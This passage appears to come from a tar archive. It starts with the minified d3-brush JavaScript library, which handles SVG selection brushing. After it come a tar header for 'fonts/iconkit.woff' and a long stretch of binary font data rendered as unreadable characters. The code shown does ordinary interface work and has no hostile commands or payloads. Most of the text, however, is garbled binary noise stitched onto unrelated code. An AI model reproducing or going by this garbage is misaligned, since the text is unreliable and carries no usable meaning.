define&&define.amd?define(["exports","d3-selection","d3-dispatch","d3-drag","d3-interpolate","d3-transition"],e):e(t.d3=t.d3||{},t.d3,t.d3,t.d3,t.d3,t.d3)}(this,function(t,e,n,r,s,i){"use strict";function a(t){return function(){return t}}function u(t,e,n){this.target=t,this.type=e,this.selection=n}function o(){e.event.stopImmediatePropagation()}function l(){e.event.preventDefault(),e.event.stopImmediatePropagation()}var c={name:"drag"},h={name:"space"},f={name:"handle"},p={name:"center"},d={name:"x",handles:["e","w"].map(_),input:function(t,e){return t&&[[t[0],e[0][1]],[t[1],e[1][1]]]},output:function(t){return t&&[t[0][0],t[1][0]]}},v={name:"y",handles:["n","s"].map(_),input:function(t,e){return t&&[[e[0][0],t[0]],[e[1][0],t[1]]]},output:function(t){return t&&[t[0][1],t[1][1]]}},m={name:"xy",handles:["n","e","s","w","nw","ne","se","sw"].map(_),input:function(t){return t},output:function(t){return t}},y={overlay:"crosshair",selection:"move",n:"ns-resize",e:"ew-resize",s:"ns-resize",w:"ew-resize",nw:"nwse-resize",ne:"nesw-resize",se:"nwse-resize",sw:"nesw-resize"},b={e:"w",w:"e",nw:"ne",ne:"nw",se:"sw",sw:"se"},w={n:"s",s:"n",nw:"sw",ne:"se",se:"ne",sw:"nw"},g={overlay:1,selection:1,n:null,e:1,s:null,w:-1,nw:-1,ne:1,se:1,sw:-1},x={overlay:1,selection:1,n:-1,e:null,s:1,w:null,nw:-1,ne:-1,se:1,sw:1};function _(t){return{type:t}}function M(){return!e.event.button}function k(){var t=this.ownerSVGElement||this;return[[0,0],[t.width.baseVal.value,t.height.baseVal.value]]}function z(t){for(;!t.__brush;)if(!(t=t.parentNode))return;return t.__brush}function A(t){return t[0][0]===t[1][0]||t[0][1]===t[1][1]}function q(t){var m,q=k,E=M,K=n.dispatch(S,"start","brush","end"),P=6;function S(n){var r=n.property("__brush",D).selectAll(".overlay").data([_("overlay")]);r.enter().append("rect").attr("class","overlay").attr("pointer-events","all").attr("cursor",y.overlay).merge(r).each(function(){var t=z(this).extent;e.select(this).attr("x",t[0][0]).attr("y",t[0][1]).attr("width",t[1][0]-t[0][0]).attr("height",t[1][1]-t[0][1])}),n.selectAll(".selection").data([_("selection")]).enter().append("rect").attr("class","selection").attr("cursor",y.selection).attr("fill","#777").attr("fill-opacity",.3).attr("stroke","#fff").attr("shape-rendering","crispEdges");var s=n.selectAll(".handle").data(t.handles,function(t){return t.type});s.exit().remove(),s.enter().append("rect").attr("class",function(t){return"handle handle--"+t.type}).attr("cursor",function(t){return y[t.type]}),n.each(T).attr("fill","none").attr("pointer-events","all").style("-webkit-tap-highlight-color","rgba(0,0,0,0)").on("mousedown.brush touchstart.brush",C)}function T(){var t=e.select(this),n=z(this).selection;n?(t.selectAll(".selection").style("display",null).attr("x",n[0][0]).attr("y",n[0][1]).attr("width",n[1][0]-n[0][0]).attr("height",n[1][1]-n[0][1]),t.selectAll(".handle").style("display",null).attr("x",function(t){return"e"===t.type[t.type.length-1]?n[1][0]-P/2:n[0][0]-P/2}).attr("y",function(t){return"s"===t.type[0]?n[1][1]-P/2:n[0][1]-P/2}).attr("width",function(t){return"n"===t.type||"s"===t.type?n[1][0]-n[0][0]+P:P}).attr("height",function(t){return"e"===t.type||"w"===t.type?n[1][1]-n[0][1]+P:P})):t.selectAll(".selection,.handle").style("display","none").attr("x",null).attr("y",null).attr("width",null).attr("height",null)}function V(t,e){return t.__brush.emitter||new j(t,e)}function j(t,e){this.that=t,this.args=e,this.state=t.__brush,this.active=0}function C(){if(e.event.touches){if(e.event.changedTouches.length<e.event.touches.length)return l()}else if(m)return;if(E.apply(this,arguments)){var n,s,a,u,_,M,k,q,K,P,S,j,C,D=this,I=e.event.target.__data__.type,G="selection"===(e.event.metaKey?I="overlay":I)?c:e.event.altKey?p:f,N=t===v?null:g[I],O=t===d?null:x[I],X=z(D),Y=X.extent,B=X.selection,F=Y[0][0],H=Y[0][1],J=Y[1][0],L=Y[1][1],Q=N&&O&&e.event.shiftKey,R=e.mouse(D),U=R,W=V(D,arguments).beforestart();"overlay"===I?X.selection=B=[[n=t===v?F:R[0],a=t===d?H:R[1]],[_=t===v?J:n,k=t===d?L:a]]:(n=B[0][0],a=B[0][1],_=B[1][0],k=B[1][1]),s=n,u=a,M=_,q=k;var Z=e.select(D).attr("pointer-events","none"),$=Z.selectAll(".overlay").attr("cursor",y[I]);if(e.event.touches)Z.on("touchmove.brush",et,!0).on("touchend.brush touchcancel.brush",rt,!0);else{var tt=e.select(e.event.view).on("keydown.brush",function(){switch(e.event.keyCode){case 16:Q=N&&O;break;case 18:G===f&&(N&&(_=M-K*N,n=s+K*N),O&&(k=q-P*O,a=u+P*O),G=p,nt());break;case 32:G!==f&&G!==p||(N<0?_=M-K:N>0&&(n=s-K),O<0?k=q-P:O>0&&(a=u-P),G=h,$.attr("cursor",y.selection),nt());break;default:return}l()},!0).on("keyup.brush",function(){switch(e.event.keyCode){case 16:Q&&(j=C=Q=!1,nt());break;case 18:G===p&&(N<0?_=M:N>0&&(n=s),O<0?k=q:O>0&&(a=u),G=f,nt());break;case 32:G===h&&(e.event.altKey?(N&&(_=M-K*N,n=s+K*N),O&&(k=q-P*O,a=u+P*O),G=p):(N<0?_=M:N>0&&(n=s),O<0?k=q:O>0&&(a=u),G=f),$.attr("cursor",y[I]),nt());break;default:return}l()},!0).on("mousemove.brush",et,!0).on("mouseup.brush",rt,!0);r.dragDisable(e.event.view)}o(),i.interrupt(D),T.call(D),W.start()}function et(){var t=e.mouse(D);!Q||j||C||(Math.abs(t[0]-U[0])>Math.abs(t[1]-U[1])?C=!0:j=!0),U=t,S=!0,l(),nt()}function nt(){var t;switch(K=U[0]-R[0],P=U[1]-R[1],G){case h:case c:N&&(K=Math.max(F-n,Math.min(J-_,K)),s=n+K,M=_+K),O&&(P=Math.max(H-a,Math.min(L-k,P)),u=a+P,q=k+P);break;case f:N<0?(K=Math.max(F-n,Math.min(J-n,K)),s=n+K,M=_):N>0&&(K=Math.max(F-_,Math.min(J-_,K)),s=n,M=_+K),O<0?(P=Math.max(H-a,Math.min(L-a,P)),u=a+P,q=k):O>0&&(P=Math.max(H-k,Math.min(L-k,P)),u=a,q=k+P);break;case p:N&&(s=Math.max(F,Math.min(J,n-K*N)),M=Math.max(F,Math.min(J,_+K*N))),O&&(u=Math.max(H,Math.min(L,a-P*O)),q=Math.max(H,Math.min(L,k+P*O)))}M<s&&(N*=-1,t=n,n=_,_=t,t=s,s=M,M=t,I in b&&$.attr("cursor",y[I=b[I]])),q<u&&(O*=-1,t=a,a=k,k=t,t=u,u=q,q=t,I in w&&$.attr("cursor",y[I=w[I]])),X.selection&&(B=X.selection),j&&(s=B[0][0],M=B[1][0]),C&&(u=B[0][1],q=B[1][1]),B[0][0]===s&&B[0][1]===u&&B[1][0]===M&&B[1][1]===q||(X.selection=[[s,u],[M,q]],T.call(D),W.brush())}function rt(){if(o(),e.event.touches){if(e.event.touches.length)return;m&&clearTimeout(m),m=setTimeout(function(){m=null},500),Z.on("touchmove.brush touchend.brush touchcancel.brush",null)}else r.dragEnable(e.event.view,S),tt.on("keydown.brush keyup.brush mousemove.brush mouseup.brush",null);Z.attr("pointer-events","all"),$.attr("cursor",y.overlay),X.selection&&(B=X.selection),A(B)&&(X.selection=null,T.call(D)),W.end()}}function D(){var e=this.__brush||{selection:null};return e.extent=q.apply(this,arguments),e.dim=t,e}return S.move=function(e,n){e.selection?e.on("start.brush",function(){V(this,arguments).beforestart().start()}).on("interrupt.brush end.brush",function(){V(this,arguments).end()}).tween("brush",function(){var e=this,r=e.__brush,i=V(e,arguments),a=r.selection,u=t.input("function"==typeof n?n.apply(this,arguments):n,r.extent),o=s.interpolate(a,u);function l(t){r.selection=1===t&&A(u)?null:o(t),T.call(e),i.brush()}return a&&u?l:l(1)}):e.each(function(){var e=arguments,r=this.__brush,s=t.input("function"==typeof n?n.apply(this,e):n,r.extent),a=V(this,e).beforestart();i.interrupt(this),r.selection=null==s||A(s)?null:s,T.call(this),a.start().brush().end()})},j.prototype={beforestart:function(){return 1==++this.active&&(this.state.emitter=this,this.starting=!0),this},start:function(){return this.starting&&(this.starting=!1,this.emit("start")),this},brush:function(){return this.emit("brush"),this},end:function(){return 0==--this.active&&(delete this.state.emitter,this.emit("end")),this},emit:function(n){e.customEvent(new u(S,n,t.output(this.state.selection)),K.apply,K,[n,this.that,this.args])}},S.extent=function(t){return arguments.length?(q="function"==typeof t?t:a([[+t[0][0],+t[0][1]],[+t[1][0],+t[1][1]]]),S):q},S.filter=function(t){return arguments.length?(E="function"==typeof t?t:a(!!t),S):E},S.handleSize=function(t){return arguments.length?(P=+t,S):P},S.on=function(){var t=K.on.apply(K,arguments);return t===K?S:t},S}t.brush=function(){return q(m)},t.brushX=function(){return q(d)},t.brushY=function(){return q(v)},t.brushSelection=function(t){var e=t.__brush;return e?e.dim.output(e.selection):null},Object.defineProperty(t,"__esModule",{value:!0})}); fonts/iconkit.woff000064400000065470151677247160010254 0ustar00wOFFk8 ��FFTM0|`fDGDEFL AOS/2lGVWU\=cmap��r2�>`gasp���glyf�[�Ɛ[�)head_�16C�hhea_� $��hmtx_���L�loca`�**5B:maxpc e namec4��-postd(|�x�c```d�3������`4H �x�c`d``�b `b`d`f�,`AIx�c`d�������i&��~������������ �5�����s���F�F��T� :x���w��s���w{Ս]��芖��$"�P)��W �TJC�S��Q�h���ʨl�w�Ư��=������~�_��{��B�J�+DQ�(�BE�+�rjd��Ⲃx���旳xI�+�$Vx�d)�|�t2e���l9r婡�Zj;��ȏ>�s��h�P�i�pG8�Q+�DSG;F3͵�R+�j�����v���':IG'�����4]��]��,g;ǹ ��|覻.�S/��%.u������W?�]e���v�"�6ĵ���n0�/��Q���0�(7m�[�5�x�j�In3�%n7�4w��tw��=f�i���u��=`���=�Q�y���y�[`�E[�i�x�R�,����E/y�+^��^��7��m+��]�y�*���}�c���g>������m��[}�[�|�{?(U�G��������?�i�=���/�ǿ�A!BbH �!%����2Bf� �B��rBnȋ����\�\����#�2$T���~����x��� `�(>ߌ�I���[�%9V|H���N�m;$� 㐄����@R΄(�Jh�BhZ�Q�����Z�m�v���m�u�}�h�vi����h����of4�����4��h�;~��>837w�M�y��r}�nw1�K����f���2�=|���?�w�K,A�a+�o���P��L�������Z�BK*�!�X�d���$l&Dnl��6y��{}����0 �F\�VW[�28���/�m���^�S�zדּ�&��vE���ҎP�f����KfwC��9|+q��s<M&��ѻ�Ђѐ��B���\�/�$����u�<b]}��|~r���>gs엜�뚚&��ʵrm\'��q>)�I�p<�j%���wK$��Kb� �b� �]�b��d��7�o{�NI���'QR��G�N���Ƿ*�~��W�$��ވ,Gd�(ze�[�d���ts����Kq� f8��]$�����Y��6�L�.�텯�24t�Wؗ�˞�=~s�3��L��~~9�o�� ��W:�c�p����o .'�v�A�XH��l��S9��I�[�y�6`��Nx�TC���>Ė�8tC��|SK�IO�?qtB�w�^N�"\7����J�-�p�B.�L�S�L��x�kF�,]��CvKC�rw��4d���/�f�(�{��Q�p�7tt4����&d�?Ғ�;��;���t��oK����x�ڙ�<��|�9��rI�q8I�M2�}ʅ� =�Vc;�p8�<~^U���4�m���dڗ"�2�N'�)Υ��[���8.iG����u�i��c�,�J�cfk:��s�l*�ù/uїO�'=��g�#���D�鏛��l/��b�.�d/���ط�)��J>3��w��^��p��t{?�\�?�\f��َ�>��5�Ke��x��c���ឿ@�>�|U�9�|}�~�\ �5��Y��ݰ�����qw"��D�[ 甽���DY�)��Q^R�W*E�8\��2\u�$�vD�k�e�] ��.Ar��^��iE Ƿ�ų��gRp&�a�N��U�mO1<��eqOEn��,�P��v����`��v�xW:��1��,~>q�w]��IVq�,��mt}�Dث��Vÿ�U�Ԫ�e�6����^�3�9���?%�ؑ1�˧V�R���uzہ�%��í��P-���2�� �t*}J8�<���%�pi�[ۓV_<b ����n$�7���E�G�P.�̹�5��|���7����k~�돪'�ަ<�{ٶ��ݶ�\u��=C�wᕝ��O�0@��B[� �@Ʒ�����Gwu\'�n�s�❏��A�|1-�����fӺ�/]�"9P���/�wѲ�qr�8!/�/��ed!\4�O�{)��. ��b� Q�Vb�TP�%B�<�c?e�(3ʼn"ဝ�ŷ��N"|���:�2@��-xW�� �'}�Oy|�Y�:���"C���8�G��bP��k��S��"j��q�15%$N��Đ���B��nC7!%c���j�!�~��(�_@'MІP;!�Tv����]|�m8'�~�P �$?>�}��F�aFԅ$-��ĝ���1��.搰9�J�Je}:j�_��� エk��0q�D|21UF�p�=�Q8�� �;-��>#����_Ț��wd�z��IHr�<���u���x�E��+'�k;l��n��IӐ鍣G�8J��\����Ƿ�z�K����e��y�\���e�v�{�Q��â���B�G�r���R<�s���nK��i)G�g�SH�:��3R�EA�|�"�#FR���)�ߕ(|&$�<I�<�h��^u5ܷ�[ ��C�]�h`_��Y?�w��L�8�86�(�6i��xu�3?zf����]N�W��_���v����h��9�����&�D$��$.���{�6�;�U��m�Uc]��]��a�Yռ�����=9�ğa�I�0��n�"��ͻij�˛8��\�[�}��y2��� �I�3q��%�v�X9Wf�!Ž�����^I�K���~ ����k�QV�fKyk���E�,=s��{�.��pS�:�j�L&���P��m���& ?�t�^�Q8�O��)z<7U0q�Ǜ�%܅�.*�ਓ*H&&q .B�(d��Y}tИ�X��sKY���2t�BR�Ͷև�l? #�����6�K�:o��f@A�'��4�����A�e����C�-�s���`/�P�%Iv��#��!���30$��5�(&V�v�첵ni�������_H�(�p���F��+��y�,I"<( �8^� �|^a��[3�̒�p"P,IJfh�t%���?�?<�_��3��*ߥ<Ia���^�Q��_䂒��ؗ_O��~�f.�?�ťh��҆� ʭp4��� �C����")9���g2��8�JBD��{�J6R���D�|&Ĉ��@�Y�h~ '�"���tNzw�p��Ő��w��Q4C^�%8Q�YC�����X<=�kޑ��"�'�]���b�ҁ��,�I�4~��x��SJy']����6�:`mw�����t���3P3�;?}f;V�T�H(�$�Y%��9^Z<:����k ��Xۜ�Mw�_��\������cLg��c3ō9n��,SI�5�Q'��H���!�h4�3q���X$��0����p@�`fh(S�?D9�dG��.�Q��S���&��4� ��r���?�8�����)n�壠J����k �J(y��\<��M���,�>�dI�5� �}$f�/�A���^�|'���^�^�|A��еǮ��>��Ni(��9`+�B�=k,~��w�K$�Y� a�����*G�{[Cm�G�/��T�Ԣ�����a/��:4]K��]��+�4��'�/E*����� �m�(��n bD\O�p`E�1A&��"w��ض����OU��3#������� v�o�:^8�6 �Q��-JA9@��`�I Ev�x� ���AHߔWd,/���=$u�e,�Q�$�8���pIHR��H.��ۍ�(�eO<ZW��u@�x�5)�N�{��]S���� pT7̜�E�1���G_��fSB7�"/���1KQ���|˜9-J�qQ�2��$߸��+��6�5��J�,����R �M�����m��EQ,���r4��=�R���d�eQ��9d�|������]�NP���9�D ���)��^1���d����kY�¥��(��{�.�?��;��<m���`��̒I�+�`�R��` M��g����1`i"�sArF,"]����1�l�.��§x�yD5i�"mY�PИ�ͭ6��nG��9�@Qi��A%��)�2H�褼㏟��s�d�2K�÷<���<v��T�(�H}�p;�# ��y8H�7S�����U�z�zP�Gѫ�Qt.�΅g�Vv��E +�%����a##N2IQ����h &B�K��U�) �� �Q�-5&�mr��҅)�'��76rp;�m!!�����`U+���r���46��D�B�}�g+~n�:�P�d�'V�̒�^����=�l���-� �AO��?e�p�F��b���u=.��5�V~�Ed�K���=A�)���+����t��G��۲6/#5��%�r3�Gf���Le��� W�}���Y ��'A�gͤ%�����N�FDSS��B�%<+:���&.�I㡍1�'�f��ߚ.��5�4�0��@��T��}Ƅ�ɠ��JN$�'O"�t���NV�U�^:IX��N�I�{(�X �QmY�]��y����p���p���U�3����O�8�.8~mec0D�Rhzk�����r������]��ϥ�j�e��n��љ��M.�������i0��w&��m��א�)����C � U1M�� ����Z�s��L�$R�ERQ*t�'�u�W��*��|%;�5��7*�;R��|>_e�l�v�A�U9s{�LG<�pT� lL�*I�� �x� �.%2G�J+t�0�JB�s�\"��XG^����d��B9C"&wos�٫�/H��������&�Z�q/mi^����, Kz�����HĿ��uL'��u�;��n~�,�%bx���Yj�\���e�W�ϵ�)�3��h!���NFˬ]=�>W���u�=��T}`��bx��nv-0����;b/�!��0pYn�$�N�}�A��݅|�ZFUy G���{�pV� )��n@�]�-�|b�/כ�]�j���o<:N��ҀA;r՚X&Pk�,�e��m����9rlp߉[���c��t��+��?zz�]אH���l����2�vFV`!�̹�iw�va�v�q �f��4����#���g��j`�K���BTzz��)fW�-J��0[uK.::����$?~�)��������f{��}6����j�ݳ�k�nj�c�ѱ{ 2&���j[��p��|�Y�lF��j��sB���Q�(�2���>I�;}�w�Jŭ~��sYY���4F>�!fi!�0���VD����5�k�m��G&Aυ���bN�h���lΠ�/Km���/*�ڳk��"���<n�)$Z�M-�!���l�h��n3��7��nS$����[/p��ys�H[]H����߶��o������z�w[�$��w�ՖX|ͱ��v�M4w��C\�����A}�*O�'�$��$ɦ�f�ӁP.*��Vs��[Ѱ9��C��b���7ؕ<���a����#��&>��O���'H����'�o�.�S~cؕI{����j%8#]pF�_�~��O߰�5e��;����{�נ���anXk&�eS��Vr�r�-�V�r� n/� �w+w7�@���qR��[5'�xu{��T�-Wݞ�>%G����[�C����TLT`��c��Х~�X�)����-�w=��j��*�`�l���N�3M�q��0v������K�01�\��a����܂3{.Y�k��YU��H.�1g ���M̛ ��O����<$n<����o�]��_��e/@�[;4�Л��!��o" k��Z�$�WFPuH5�$��$�F3)�i�"iM� ASs (H�Ȩʰ�g��5;CAw�)��J�$i��O9�Y����-����;��@>L����ʻ��26KX��Z枔��M��-;���~g�݉A�N� ��V��A� di3;�I��UW�)���MZx������7����*�SU߫�jGGZje�c�G�� �����s�I��Vy�LLj7M�)?�"?[ :A�������_��k���_;:~��+ ҥΐ2��?{�6���V/��N��ёi��Wgh�q�]���$lԓGTW)2 j���0Z�������RRȝm��F��4m��8u��͵���-���7�] ����=3Xתt]�L4����5��)��=j8&��k.Q���8:K{I�[qJ�>F ©�,�����W}N�b���T�G�G���_0xSz+Rt���U^|-݀��-�����u����3�1��?�U8�˵ �P��n����f�5�3�u0j4�8M�-�Y^9=�4�|��Cֱ�B�7IT�Bt��!�Z*�k�쨶��i�y-h$��Y��n����|ь�wTo~����U4��j��(�5�GdUӀE�͘�uX}���]c�S�YY����J�]ԇ� E ���5X3���v8��]gmB��c�l �*�|�2�p�.��SN����'b!7�ZI��U��jO�fR��ҺI���$yw9ϠV))%�=U}�������B�#NjC)0����)���l��5�y�N�AqB���C�Γ*�����t�@�o�L�DH�1t�xe���^�*��s�x�(��?�c��(�C�`����%���{3�(�E7�A�\�zsn���:�v�F�q\Nug��fU���f��0ԝ��t/��)2�g�u�N��l��*W㊑�A�#�)�tAy�&'tR;�RSY6��$b�`.@�l-��)�ݑm���q4b�џ���g���~��ow;�e��;;ȿGnJ�/m�� �e��"?�����i�7�80ޜo=��ߊ7�J0_ A��4��BԻ���C�X<�s�Z���KN� D>ጼ���Ĉ�\QXp� �Z�Z��Z�&�$��Au5f~���4��©���6��"��Z`z���%X��ߤ�������7�����a����=!���U����A�ֲ�"<�Ɋ����6��M:O��$���$<)̥�z�ҜՀ�Ը; 5�|I7u��S3s��+$#p�i2/��=$���&5���G�P�*i=��i��rfԧ>��^{)� `�6�����~��P<����BA��oEWcK[<����L5��x�=�{��>�b��i<��w;���S��OeA����3�R8��f~�Փ���o��ֶ��8~���P��>��z��V��N�Z��*�/t�}3�S=0��Sݷ�~$��l������R(D��w�R<��I�:����Hw(���nzwc|���E�ʿ�#)�z�����l��'��/��n�(6�?֨��{4����kyj��>&�� n�Z���njO� ��V�#��6axP�QJ3�{�z��8�`��w��S��$���1Y6"K�{%9���ԓn5�����hI���pc��~�Y zP�H�h>CP�F=�*x�I�$��U���G��Ô{���A�����I��t���skf�{��@'�8QR9���p��1Tt���y�?*VOf4�R0N�W��14n�hf1�WdXD�0�J�.�b�]{�G�J�Y<��%��r.�d�LA����H�����O|V�^�_i�%�8o��L��I���E1�;���ڕg�QwGJr��B�c�Z��W�Վ�ŀW�ٰ��Pd��g�8�[{[y�qc[�����^~����/��M�P�������T���@�XӺz�-(z��;� I�.a��Xpq䐣�MR�ƣR���ʯDM3�)x<ە#��Uk��4���)�b��墟(_���Q��Z��>4|2�&L��l8�1ޚ�n��)�.PwT�X�W�� �JB��a&��^���sM�v��rYn1�!_�TH��D���B�@Hu&�"~��� ��(bIKp�Pb�<��y���+��[O�Ȉ2����h�9����@��.�\ƏB��Ͽ��~��R$�2�6R,F�7#�����9���[=��?C�}��HUͰ~|B�+�g���eC<��N�/g�H*�?!O��˖}x\� a�7���$}a>��|8W�;�Ov�=_5�AU�d����b�d5�}��{��6 K��Z�+���~�d�l�z@2�+�as�X �:���J�|Н��|C��mv�ߑ���4���6�{�q*7*�xes�t��5��t��=Nr�ʃ(]�q! �ݚ�CQ8Y�H{L�Y%�8��MR��lA�D��=wق%�{|&���lA �vf1�+Wr !�uJ�z_C��[g�����{L,��O���%jK��� H�0�7�F�F <P�p�PAY?�C�(�_��s�( 5����9㏉�E��9�IϜ�8TހƢe��:��=de���6�>��@��W\�r���݁���·^V|n���G�ڦ4��Ŝ 5X�-��\V駴P��m��b�� ��7�����YT}�쪹�+���$�M)U��9���41��LV��}����.���Jl���F��VBT>3�nq�%������{z�<�܆��m�}��y���t��W�^_� �����]��?�w��Nr��c�r�'�n�E��!�Q�|䣾֜�!DcI��.u��l�?4�W�B��-R���?��RT��2�l�����I� Ip�!YR ��_"v�?���1�f�g����'�G>�^���b�^^��A����X$f��[cVܧ��!Dž��c͈Ӭ��>�5C�o��{��S!���� Y���C�A�K`��Z�{H02���Oty߾���"�n~U�l�̦W���V�M���Mn�w�����z�_�p ��<w�C��WYn����s-&��w[��� :�����.���~���Bd�&�����^�dro|��-���Y�}�$����/nk����M���a��G��D�-�k��s��Tgmn ����X;�< Z��u�<���GD�G�9G2���O�X#�M�Yl����6'�o0J겮��IɊ�B0�� �Dg�-i$d8��(0{�uF�;'��!�8vt��И��v7"���`a#b�L����-*w�ұS�K���E���π�I��=���H�0.>��IIj�L����\iJ�ԣٗ�X�4s{VuR$G�n_�G`�R�ǵ��O�h9��!�/��5��1��s�_d�V�[���l%Fem���n����v(��ze�c�+2�f����cE��C��`��-��<2w�m%s0�����j���_A�&E��eS��E���=d�+�P.����\�7�h�V.��Y8�d�4��As��`�{���ʓ&�c4 W�A�W6��|�5��hӟ�K#g�$�r�4Jz,�%i ��7�j|Vr���&���*V��f����^sX��X�HL� �2���U��Ucc��V���&O�>zt�r��|�2�x�:��y~���}��T �����wGw�����ѽd8c�9ݞ�[._����B����>�p ��; ҄f�`C}�� T@��R�ͼq{#Kw4?���-\�&@P+V�:�$ӵ�(#��E&P_����8� @x�FL��_�E *�]�Fj��5H(���!�G���m�AF�cw��<}�� 㙦a��bz:���F���� #P����`��`{�'�4&�v�� 04-�c��9-j�3�N�swν)���qe�E7����"��`���M�u�o7E�9�o�� ��.D�~7������ԧ%�ݔ-�+�f�ZP�ŧ�Q���X �K��C�K�j��Q�E�m�� n��J*�]��"7h�������B[����+Z���mȿ��y���&������:�~W}� �e�>����H%�m-�^ѳ����!��55w�jiZw��iB]����P�7�GR���f�[���X�'+�d]7&!��EP�+�L{�q<�GL�y&�g�#�k�m;��q6=��/�L=��-e����XG��i$���X���ǯ��x���|�QX��߱D%��o�ˌN����&�'�5°%f^��+�ԥw(� #��I�a��~���p?��:��A����yE'U1q�T�ą�9I���c�R4��y8Pyj6a�)� �>�*�a��zn�qC�=̑d�ܭ�0�f�y4]��añ�e��ô�1����^IvހѶ�w��I��[ r���@����i����Hcqo�I�ŗW���~E�_"m����@{��h)5�n��(�R%��υ1��2f�� ]�"�M!Gy��An&�s���9�7��d�����x��zZ٠�{L���C��9ښ,K��U)Aj3��jLOB�`^R,�=)�'��<M�ѩ�G̘Q�/�Te`J��}���74�%˞> �4����P==�8+���d�I9 � Cf�\��#1��9�I���S���{���,%!�gA�;�6�E�]vN����������go��\e1?��yXТ��E<�p��&���������Ҏ� �4e�B�͚�h{���1=��L�^���4r��wx�/D��8,��V�������_٣�rY�/~y�[�<���/�mlt9D�6�LV���yk���������AB ~�f����H��e��uN�%;t��t�s.����"�pB�[�(2���9J��y�^�Έ\j��mM[Ɇ':�>˓7I�Ʀ��.3�{�o�}c!��ᷨ[�+phkd<N��O6�{ov�/ğ�nz��wu<�n�[-��.�z(�Z��^�������l?�?H��N�?�1��5Y��U@�Z��E�Dtֈ���h��"a$�����?����f��59q�i{�Z�wk�2�����%Q�Y�K"��N���\�^N��,Q����#� �"��ʼ�\↝����}�;����K7���X|<�.́�]�Pa���L>fm��AZ��95�6L�2� ]����_ռ:�#NG�I�X����w:i��`N6w`����n���Ewu���Lp�[��($L�.�$O��2B��H��>�9 £�d ?m�Z=v�|o�j�LE��A�uk��q2�6�":�J>�;��Vcr�� ��%A������m�f���hvG�|%w����9�Ʈ�o3���SA=��T�5�Ȍ��B��g^=�Hm�c�SYdRŪ�*Q0Js%��H� ju�:�"��!���y��-��ǘebu_ �=�'�.%�M�\�H��3v�hp/��r�n����� ��*/� R��^���hN$`l��b@ K\�� 6� oٸп�V >�� �[���l7���˾����h�o<��)�G��,\4/|���[��w��e{^�;~�F��l���%�i4؈"� �+�Յ$�R� �.�t"IE��*�D�bL-(%L��?I�} �$��$���A�3��=�v��74HЈ>\R���4Ǭ�R�Z[8՝E�ݚ�b\U7�{ghK'����/�N��veu��X*T�i?ߡ�5��v�����"�k���V����h:�yU��7��߰�������ح�f96�?�_��r���3����L=s ��!�(7���z{�����A~�'_`��;Y������ߠS����tۜ���oT��ʃ(�����'��w������r��ϦFNوG�4� G$ͣ��]r:��7]���VIq8C�H!��9�䕵s�+�>|������l�]/� ���G�_��e��G��zZ���Ј|� E �X�ٌ,���ث����R~��c' �"��ʥ�������r�oMM�KMq��2<4!����ި�k�����ȿؽ�<�P~�fK����%*qa�zr�ൿ�oT��X����j<]j`��7sD�5;�A�9�����r��O$iοY������\�oR����\t�<.���q��_�������s�(ߘ=���o2%[�r��.|���>V�=�C�Ĝ��u����g��)\R�_jv���gJ�g�HH3��j���H^�@�:?���"*����xk�e��ɑh� � by�%��<߂�GGo}:�fb|pOF7fb�L���J3j�P~z ���G�b�iz2���/���;u���in7w���FW�D�L�L��b<y��W7���Aծ���So6���O��Ō�L!�h�-�(�x;���آZ-��V>䯴 ���r�[�+�'�η�-��a��o�[[��Z<�@} ;�gi��Y��Z'9sN�þ�9fg����xٍ����D�]�~���ar��>p���z�m��C�vǮp���kL�)����+�~u�Œ>�g~f#�iI]�����,C=<9p@�[H�w��<���Ĭ�k�X�Aֿ�|�xb���od�$��[��߀�w����0�m�oA���8�B�'O}��ܝ��PU��Le=\��l1�j0R�Rt12!f�6.|�&4���i�'ՉM�"�}�(�"��7�Ƶ�:��&q�Cs,b�g�RxJ �npn�����祆|��I��u�W�o��\�y����u~���ڶ'���Y�.�>��Q�v��ԏ�\BܲPWk`7Y�<�����[�,�1��n��Ow��+�����΅��_�fK �dX�ld��%�������!��ţ�~�X��O͐Ǻ6���r���^/��*�od#X8H�j5�Ax-�J,�1�7��.4ޤ|���n`wwW%�C3K��MO2@3�Eh���M::B�P��&��:�����&�*��䋊��y��i��ڙE_�%��4mӺ.�̦���[�t����=��_�H��G���P�ű[�C=0��gؼ�����4�R �+���NW�}�+�=�ʪ@�y*�Z�uOKt���'�w�eH��:�y�x��r�9�d����B�`��0#��QUKɊn�W3;����i��?I�o1 zw�6Y�_�/*l0�- � ��r�QU��~nh���LG>�L���i���͞�O��zޙ�'̙��Ɠ�~��M�� ��q���%���_��)���v�`ckr�F�a��j���{!���#9kH���a{�<�M �Vs�9��_��G�Ak���@Wd��|Ej�?,��������J}ꇤ�Qm_ ��XsƼ�I@z��� ;�h7��mc 4�>����SfM4�Qk�� ��u�l��f������],�L�����uuu^�m���I�Vg8�~�Uy*W#�����\/�ܫag����Xz$�+�.E7o�S4�,�5* 9Iy.�i#qB;@4�FMp��J�����'�"h_GR$u�R��q����n������a��E���i23�^gShN#�є�UF���gw�*|�6�����>\�0�OR�vU^&��W�gOq�l�l(��gVj���e��PM��:Q*��$4�`&�KOʤZ��V6�y��J��#|q��̥�>��"��g���_�?<��+�1���K�[��*�[���>?�f� [uXZ�^S��T��UTa!ji_X O��N� ed��1t� 1Y���0OU\xk��s@��c���̤�{O`8$4�K����C���0�8H֨�R��V�u�Q�G5�;�~�j�X�E�� lx���'Py_�dY�ud!+ް�H]� ?���K����o���p�T�:V..|��G���p9nfĪ��(~�Ðn�t���X�����exD�ֆ�ު U��R�k�r����>d�5 �X�e�t�-]z��;l����ի�cS�n�� �GĈ,v�t_<L�δ&�՞o}��r������%ֆʓ'�zb����*�+�:�Y�d*�I�y44��:P��Y���t�A�Gʻ0��n�"�&����G�c�L�~����{2"��9ű��,��Ѷ,�F��L���i&�O3�-嶡�f��������g��Bv�୪����3Fl�d}�{��IG�qgΧģk?�`�wz��w�ܵ0�N�9xg��"�1X��*���LJ��!��x�ka�tp�)�^�)�U��*��f=�!#���롒�;�̶i���������*4��mj("��'?���.Il��n$��D�zMcuL���T�fN� a�w��3�c(�뤺� �|z���PPg�cG��.@0c�¦z)�q�����d���"̛�9eiΉ�[��mtR��j�afR]������Ts�����wh4����D+��nsӶe�/�1���Ĥ�y/D���Sc��]�n�w������6�z�35��[�*��)��A�{�'t}�f��:�m��I��6����Un2�g�e�sbUYߚ��uX+Wu�|���t�[����/~gLy{ߖ��w�{]<0w��c��şTI�:���W�v��W�}�:t���m��%��fq]L"�7����P�X[�\Ib��(�W㨠�,�>����{� 2�1v�$x�/1s�� , �2 